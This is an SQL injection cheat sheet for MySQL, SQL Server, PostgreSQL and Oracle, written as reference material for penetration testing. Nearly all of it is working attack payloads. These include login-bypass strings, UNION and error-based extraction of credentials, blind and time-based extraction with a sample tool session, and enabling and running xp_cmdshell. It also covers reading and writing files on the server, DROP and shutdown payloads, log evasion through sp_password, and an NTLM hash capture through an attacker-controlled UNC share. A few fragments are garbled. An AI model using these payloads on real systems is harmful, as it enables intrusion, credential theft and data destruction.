

# SQL Injection Cheat Sheet

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## About SQL Injection Cheat Sheet

Currently only for **MySQL** and **Microsoft SQL Server**, some **ORACLE** and some **PostgreSQL**. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.

**M** : MySQL

**S** : SQL Server

**P** : PostgreSQL

**O** : Oracle

**+** : Possibly all other databases

*Examples;*

- (MS) means : MySQL and SQL Server etc.
- (M\*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

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## Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

### Ending / Commenting Out / Line Comments

#### Line Comments

##### Comments out rest of the query.

Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

- -- (SM)  
`DROP sampletable;--`
- # (M)  
`DROP sampletable;#`

#### Line Comments Sample SQL Injection Attacks

- Username: admin'--
- `SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'`  
This is going to log you as admin user, because rest of the SQL query will be ignored.

#### Inline Comments

**Comments out rest of the query by not closing them** or you can use for **bypassing blacklisting**, removing spaces, obfuscating and determining database versions.

- `/*Comment Here*/` (SM)
  - `DROP/*comment*/sampletable`
  - `DR/**/OP/*bypass blacklisting*/sampletable`
  - `SELECT/*avoid-spaces*/password/**/FROM/**/Members`
- `/*! MYSQL Special SQL */` (M)  
This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

```
SELECT /*!32302 1/0, */ 1 FROM tablename
```

### Classical Inline Comment SQL Injection Attack Samples

- ID: 10; DROP TABLE members /\*  
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
- SELECT /\*!32302 1/0, \*/ 1 FROM tablename  
Will throw an **divison by 0 error** if MySQL version is higher than **3.23.02**

### MySQL Version Detection Sample Attacks

- ID: /\*!32302 10\*/
- ID: 10  
You will get the **same response** if MySQL version is higher than **3.23.02**
- SELECT /\*!32302 1/0, \*/ 1 FROM tablename  
Will throw an **divison by 0 error** if MySQL version is higher than **3.23.02**

### Stacking Queries

**Executing more than one query in one transaction.** This is very useful in every injection point, especially in SQL Server back ended applications.

- ; (S)  
SELECT \* FROM members; DROP members--

Ends a query and starts a new one.

### Language / Database Stacked Query Support Table

**green:** supported, **dark gray:** not supported, **light gray:** unknown

	SQL Server	MySQL	PostgreSQL	ORACLE	MS Access
ASP					
ASP.NET					
PHP					
Java					

### About MySQL and PHP;

To clarify some issues;

**PHP - MySQL doesn't support stacked queries**, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it's

*not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?*

### Stacked SQL Injection Attack Samples

- `ID: 10; DROP members --`
- `SELECT * FROM products WHERE id = 10; DROP members--`

This will run *DROP members* SQL sentence after normal SQL Query.

### If Statements

Get response based on a if statement. This is **one of the key points of Blind SQL Injection**, also can be very useful to test simple stuff blindly and **accurately**.

### MySQL If Statement

- `IF(condition,true-part,false-part) (M)`  
`SELECT IF(1=1, 'true', 'false')`

### SQL Server If Statement

- `IF condition true-part ELSE false-part (S)`  
`IF (1=1) SELECT 'true' ELSE SELECT 'false'`

### If Statement SQL Injection Attack Samples

```
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else  
select 1/0 (S)
```

This will throw an **divide by zero error** if current logged user is not **"sa"** or **"dbo"**.

### Using Integers

Very useful for bypassing, **magic\_quotes()** and **similar filters**, or even WAFs.

- `0xHEXNUMBER (SM)`  
You can write hex like these;

```
SELECT CHAR(0x66) (S)  
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)  
SELECT 0x50 + 0x45 (this is integer now!) (M)
```

### String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

### String Concatenation

- + (S)  
SELECT login + '-' + password FROM members
- || (\*MO)  
SELECT login || '-' || password FROM members

### **\*About MySQL "||";**

If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. Better way to do it is using CONCAT( ) function in MySQL.

- CONCAT(str1, str2, str3, ...) (M)  
Concatenate supplied strings.  
SELECT CONCAT(login, password) FROM members

## **Strings without Quotes**

These are some direct ways to using strings but it's always possible to use CHAR( ) (MS) and CONCAT( ) (M) to generate string without quotes.

- 0x457578 (M) - Hex Representation of string  
SELECT 0x457578  
This will be selected as string in MySQL.

In MySQL easy way to generate hex representations of strings use this;

```
SELECT CONCAT('0x',HEX('c:\boot.ini'))
```

- Using CONCAT( ) in MySQL  
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)  
This will return 'KLM'.
- SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)  
This will return 'KLM'.

## **Hex based SQL Injection Samples**

- SELECT LOAD\_FILE(0x633A5C626F6F742E696E69) (M)  
This will show the content of **c:\boot.ini**

## **String Modification & Related**

- ASCII( ) (SMP)  
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

```
SELECT ASCII('a')
```

- CHAR( ) (SM)  
Convert an integer of ASCII.

```
SELECT CHAR(64)
```

# Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

```
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
```

This will combine results from both news table and members table and return all of them.

Another Example :

```
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
```

## UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (*table settings, field settings, combined table / db settings etc.*) these functions are quite useful to fix this problem. It's rare but if you dealing with *Japanese, Russian, Turkish* etc. applications then you will see it.

- SQL Server (S)

Use field **COLLATE** SQL\_Latin1\_General\_Cp1254\_CS\_AS or some other valid one - *check out SQL Server documentation.*

```
SELECT header FROM news UNION ALL SELECT name COLLATE  
SQL_Latin1_General_Cp1254_CS_AS FROM members
```

- MySQL (M)

Hex() for every possible issue

## Bypassing Login Screens (SMO+)

*SQL Injection 101*, Login tricks

- admin' --
- admin' #
- admin'/\*
- ' or 1=1--
- ' or 1=1#
- ' or 1=1/\*
- ' ) or '1'='1--
- ' ) or ( '1'='1--
- ....

- Login as different user (SM\*)

```
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
```

*\*Old versions of MySQL doesn't support union queries*

## Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

### Bypassing MD5 Hash Check Example (MSP)

Username : admin

Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin',  
'81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

### Error Based - Find Columns Names

#### Finding Column Names with HAVING BY - Error Based (S)

*In the same order,*

- ' HAVING 1=1 --
- ' GROUP BY **table.columnfromerror1** HAVING 1=1 --
- ' GROUP BY **table.columnfromerror1, columnfromerror2** HAVING 1=1 -
- ' GROUP BY **table.columnfromerror1, columnfromerror2, columnfromerror(n)** HAVING 1=1 -- *and so on*
- If you are not getting any more error then it's done.

#### Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

- ORDER BY 1--
- ORDER BY 2--
- ORDER BY N-- *so on*
- Keep going until get an error. Error means you found the number of selected columns.

### Data types, UNION, etc.

#### Hints,

- Always use **UNION** with **ALL** because of **image** similar non-distinct field types. By default union tries to get records with distinct.
- To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (*if injection is in WHERE*). This can be critical if you are only getting one result at a time.

- Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
  - Be careful in Blind situations may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (*because normally developers are not expecting to see NULL in a username field*)

## Finding Column Type

- ' union select sum(**columnstofind**) from **users**-- (S)  
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or  
average aggregate operation cannot take a **varchar** data type as  
an argument.

*If you are not getting error it means column is numeric.*

- Also you can use CAST() or CONVERT()
  - `SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--`
- `11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --`  
No Error - Syntax is right. MS SQL Server Used. Proceeding.
- `11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 --`  
No Error – First column is an integer.
- `11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --`  
Error! – Second column is not an integer.
- `11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 --`  
No Error – Second column is a string.
- `11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 --`  
Error! – Third column is not an integer. ...

Microsoft OLE DB Provider for SQL Server error '80040e07'  
Explicit conversion from data type **int** to image is not allowed.

**You'll get convert() errors before union target errors ! So start with convert() then union**

### Simple Insert (MSO+)

```
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
```

## Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

## @ @version (MS)

Version of database and more details for SQL Server. It's a constant. You can just select



it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.

```
INSERT INTO members(id, user, pass) VALUES(1,
''+SUBSTRING(@@version,1,10) ,10)
```

### Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can **read IIS (IIS 6 only) metabase file** (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

1. Create table foo( line varchar(8000) )
2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
3. *Drop temp table, and repeat for another file.*

### BCP (S)

Write text file. Login Credentials are required to use this function.

```
bcp "SELECT * FROM test..foo" queryout
c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
```

### VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

```
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
```

### Executing system commands, xp\_cmdshell (S)

Well known trick, By default it's disabled in *SQL Server 2005*. You need to have admin access.

```
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
```

Simple ping check (*configure your firewall or sniffer to identify request before launch it*),

```
EXEC master.dbo.xp_cmdshell 'ping <ip address>'
```

You can not read results directly from error or union or something else.

### Some Special Tables in SQL Server (S)

- Error Messages  
master..sysmessages

- **Linked Servers**  
master..sysservers
- **Password (2000 and 2005 both can be crackable, they use very similar hashing algorithm )**  
SQL Server 2000: masters..sysxlogins  
SQL Server 2005 : sys.sql\_logins

## More Stored Procedures for SQL Server (S)

1. **Cmd Execute (xp\_cmdshell)**  
exec master..xp\_cmdshell 'dir'
2. **Registry Stuff (xp\_regread)**
  1. xp\_regaddmultistring
  2. xp\_regdeletekey
  3. xp\_regdeletevalue
  4. xp\_regenumkeys
  5. xp\_regenumvalues
  6. xp\_regread
  7. xp\_regremovemultistring
  8. xp\_regwrite  
exec xp\_regread HKEY\_LOCAL\_MACHINE,  
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',  
'nullsessionshares'  
exec xp\_regenumvalues HKEY\_LOCAL\_MACHINE,  
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommuniti  
es'
3. **Managing Services (xp\_servicecontrol)**
4. **Medias (xp\_availablemedia)**
5. **ODBC Resources (xp\_enumdsn)**
6. **Login mode (xp\_loginconfig)**
7. **Creating Cab Files (xp\_makecab)**
8. **Domain Enumeration (xp\_ntsec\_enumdomains)**
9. **Process Killing (need PID) (xp\_terminate\_process)**
10. **Add new procedure (virtually you can execute whatever you want)**  
sp\_addextendedproc 'xp\_webserver', 'c:\temp\x.dll'  
exec xp\_webserver
11. **Write text file to a UNC or an internal path (sp\_makewebtask)**

## MSSQL Bulk Notes

```
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
```

```
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe'; IF  
(@result = 0) SELECT 0 ELSE SELECT 1/0
```

HOST\_NAME()

IS\_MEMBER (Transact-SQL)

IS\_SRVROLEMEMBER (Transact-SQL)  
OPENDATASOURCE (Transact-SQL)

```
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
```

OPENROWSET (Transact-SQL) - <http://msdn2.microsoft.com/en-us/library/ms190312.aspx>

You can not use sub selects in SQL Server Insert queries.

### SQL Injection in LIMIT (M) or ORDER (MSO)

```
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT  
1,'x'/*,10 ;
```

If injection is in second *limit* you can comment it out or use in your union injection

### Shutdown SQL Server (S)

When you really pissed off, ' ;shutdown --

### Enabling xp\_cmdshell in SQL Server 2005

By default xp\_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

```
EXEC sp_configure 'show advanced options',1  
RECONFIGURE
```

```
EXEC sp_configure 'xp_cmdshell',1  
RECONFIGURE
```

### Finding Database Structure in SQL Server (S)

#### Getting User defined Tables

```
SELECT name FROM sysobjects WHERE xtype = 'U'
```

#### Getting Column Names

```
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE  
name = 'tablenameforcolumnnames')
```

### Moving records (S)

- Modify WHERE and use **NOT IN** or **NOT EXIST**,  
... WHERE users NOT IN ('First User', 'Second User')  
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name  
FROM members) -- *very good one*
- Using Dirty Tricks  
SELECT \* FROM Product WHERE ID=2 AND 1=CAST((Select p.name from

```
(SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE
i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as
int
```

```
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from
sysobjects o WHERE o.xtype = 'U') as p where p.x=21
```

## Fast way to extract data from Error Based SQL Injections in SQL Server (S)

```
' ;BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name
FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
```

Detailed Article : [Fast way to extract data from Error Based SQL Injections](#)

## Blind SQL Injections

### About Blind SQL Injections

In a quite good production application generally **you can not see error responses on the page**, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

**Normal Blind**, You can not see a response in the page but you can still determine result of a query from response or HTTP status code

**Totally Blind**, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.

In normal blinds you can use **if statements** or abuse **WHERE query in injection** (*generally easier*), in totally blinds you need to use some waiting functions and analyze response times. For this you can use **WAIT FOR DELAY '0:0:10'** in SQL Server, **BENCHMARK()** in MySQL, **pg\_sleep(10)** in PostgreSQL, and some PL/SQL tricks in ORACLE.

### Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

**TRUE** and **FALSE** flags mark queries returned true or false.

```
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYPE=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
```

```
xtYPE=0x55)),1,1)),0)>78--
```

```
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND  
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE  
xtYPE=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE  
xtYPE=0x55)),1,1)),0)>103--
```

```
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND  
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE  
xtYPE=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE  
xtYPE=0x55)),1,1)),0)<103--
```

```
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND  
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE  
xtYPE=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE  
xtYPE=0x55)),1,1)),0)>89--
```

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ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE  
xtYPE=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE  
xtYPE=0x55)),1,1)),0)<89--
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xtYPE=0x55)),1,1)),0)>83--
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xtYPE=0x55)),1,1)),0)<83--
```

```
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND  
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE  
xtYPE=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE  
xtYPE=0x55)),1,1)),0)>80--
```

```
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND  
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE  
xtYPE=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE  
xtYPE=0x55)),1,1)),0)<80--
```

Since both of the **last 2 queries failed** we clearly know table name's first char's **ascii value is 80 which means first char is `P`**. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.

## Waiting For Blind SQL Injections

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

**WAIT FOR DELAY 'time' (S)**

This is just like sleep, wait for specified time. CPU safe way to make database wait.

```
WAITFOR DELAY '0:0:10'--
```

Also you can use fractions like this,

```
WAITFOR DELAY '0:0:0.51'
```

### Real World Samples

- Are we 'sa' ?  
`if (select user) = 'sa' waitfor delay '0:0:10'`
- `ProductID=1;waitfor delay '0:0:10'--`
- `ProductID=1);waitfor delay '0:0:10'--`
- `ProductID=1';waitfor delay '0:0:10'--`
- `ProductID=1');waitfor delay '0:0:10'--`
- `ProductID=1));waitfor delay '0:0:10'--`
- `ProductID=1'));waitfor delay '0:0:10'--`

### BENCHMARK() (M)

Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

```
BENCHMARK(howmanytimes, do this)
```

### Real World Samples

- Are we root ? woot!  
`IF EXISTS (SELECT * FROM users WHERE username = 'root')`  
`BENCHMARK(1000000000,MD5(1))`
- Check Table exist in MySQL  
`IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))`

### pg\_sleep(seconds) (P)

Sleep for supplied seconds.

- `SELECT pg_sleep(10);`  
Sleep 10 seconds.

## Covering Tracks

### SQL Server -sp\_password log bypass (S)

SQL Server don't log queries which includes sp\_password for security reasons(!). So if you add --sp\_password to your queries it will not be in SQL Server logs (*of course still will be in web server logs, try to use POST if it's possible*)

## Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

1. `product.asp?id=4` (SMO)
  - a. `product.asp?id=5-1`
  - b. `product.asp?id=4` OR `1=1`
2. `product.asp?name=Book`
  - a. `product.asp?name=Bo' %2b'ok`
  - b. `product.asp?name=Bo' || 'ok` (OM)
  - c. `product.asp?name=Book'` OR `'x'='x`

## Some Extra MySQL Notes

- [illegible]

## Enumeration data, Guessed Brute Force

```
o select if( (ascii(substring(user(),1,1)) >> 7) & 1,
benchmark(100000,sha1('test')), 'false' );
```

## Potentially Useful MySQL Functions

- MD5( )  
MD5 Hashing
- SHA1( )  
SHA1 Hashing
- PASSWORD( )
- ENCODE( )
- COMPRESS( )  
Compress data, can be great in large binary reading in Blind SQL Injections.
- ROW\_COUNT( )
- SCHEMA( )
- VERSION( )  
Same as @@version

## Second Order SQL Injections

Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '

Email : [xx@xx.com](mailto:xx@xx.com)

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

## Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly your inbound connection will be firewalled. Can be very useful in internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

### Bulk insert from a UNC Share (S)

```
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
```

Check out Bulk Insert Reference to understand how can you use bulk insert.

## References

*Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then [drop me an email](mailto:ferruh-at-mavituna.com) (ferruh-at-mavituna.com), I'll update it as soon as possible.*

- Lots of Stuff



- [Advanced SQL Injection In SQL Applications](#), Chris Anley
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## ChangeLog

- 15/03/2007 - Public Release v1.0
- 16/03/2007 - v1.1
  - Links added for some paper and book references
  - Collation sample added
  - Some typos fixed
  - Styles and Formatting improved
  - New MySQL version and comment samples
  - PostgreSQL Added to Ascii and legends, pg\_sleep() added blind section
  - Blind SQL Injection section and improvements, new samples
  - Reference paper added for MySQL comments
- 21/03/2007 - v1.2
  - BENCHMARK() sample changed to avoid people DoS their MySQL Servers
  - More Formatting and Typo
  - Descriptions for some MySQL Function
- 30/03/2007 v1.3
  - Niko pointed out PostgreSQL and PHP supports stacked queries
  - Bypassing second MD5 check login screens description and attack added
  - Mark came with extracting NTLM session idea, added
  - Detailed Blind SQL Exploitation added
- 13/04/2007 v1.4 - *Release*

- SQL Server 2005 enabling xp\_cmdshell added (*trick learned from mark*)
- [Japanese version of SQL Injection Cheat Sheet released](#) (v1.1)

## **To Do / Contact / Help**

I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access and some of undocumented tricks in here. They will be available soon I hope. If you want to help or send a new trick, not here thing just [drop me an email](#) (*ferruh-at-mavituna.com*).